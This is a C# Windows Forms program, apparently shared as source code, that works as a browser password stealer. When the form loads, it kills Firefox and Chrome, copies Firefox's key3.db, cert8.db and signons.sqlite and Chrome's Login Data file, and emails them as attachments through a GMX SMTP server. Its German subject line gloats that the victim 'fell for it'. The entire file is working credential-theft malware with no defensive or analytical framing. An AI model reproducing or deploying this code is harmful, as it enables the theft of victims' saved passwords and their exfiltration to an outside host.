1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83:
| using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using System.Net.Mail; using System.Net; using System.Diagnostics;
namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); }
private void Form1_Load(object sender, EventArgs e) { try { Process ffox = Process.GetProcessesByName("firefox")[0]; ffox.Kill();
Process[] pp = Process.GetProcessesByName("chrome.exe"); foreach (Process p in pp) { p.Kill(); } } catch { } string user = System.Environment.UserName; string path = @"C:\Users\" + user + @"\AppData\Roaming\Mozilla\Firefox\Profiles"; string[] folders = Directory.GetDirectories(path); path = folders[0] + @"\";
string path1 = path + "cert8.db"; string path2 = path + "key3.db"; string path3 = path + "signons.sqlite";
SmtpClient mail = new SmtpClient(); MailMessage msg = new MailMessage("x@gmx.ch", "x@gmx.ch"); msg.Subject = user + "ist reingefallen!(Firefox)"; msg.Body = "neue Passwortdaten!"; mail.Credentials = new NetworkCredential("x@gmx.ch", "Password"); mail.Host = "smtp.gmx.com";
Attachment data = new Attachment(path1); msg.Attachments.Add(data); Attachment data2 = new Attachment(path2); msg.Attachments.Add(data2); Attachment data3 = new Attachment(path3); msg.Attachments.Add(data3);
mail.Send(msg);
string path_c1 = @"C:\Users\" + user + @"\AppData\Local\Google\Chrome\User Data\Default";
path_c1= path_c1 + @"\";
string path_c2 = path_c1 + @"\" + "Login Data";
string path_c3 = @"C:\Users\" + user + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data";
SmtpClient mail2 = new SmtpClient(); MailMessage msg2 = new MailMessage("x@gmx.ch", "x@gmx.ch"); msg2.Subject = user + " ist reingefallen!(Chrome)"; msg2.Body = "neue Passwortdaten!"; mail2.Credentials = new NetworkCredential("x@gmx.ch", "Password"); mail2.Host = "smtp.gmx.com";
Attachment data_c = new Attachment(path_c3); msg2.Attachments.Add(data_c); mail2.Send(msg2); } } } |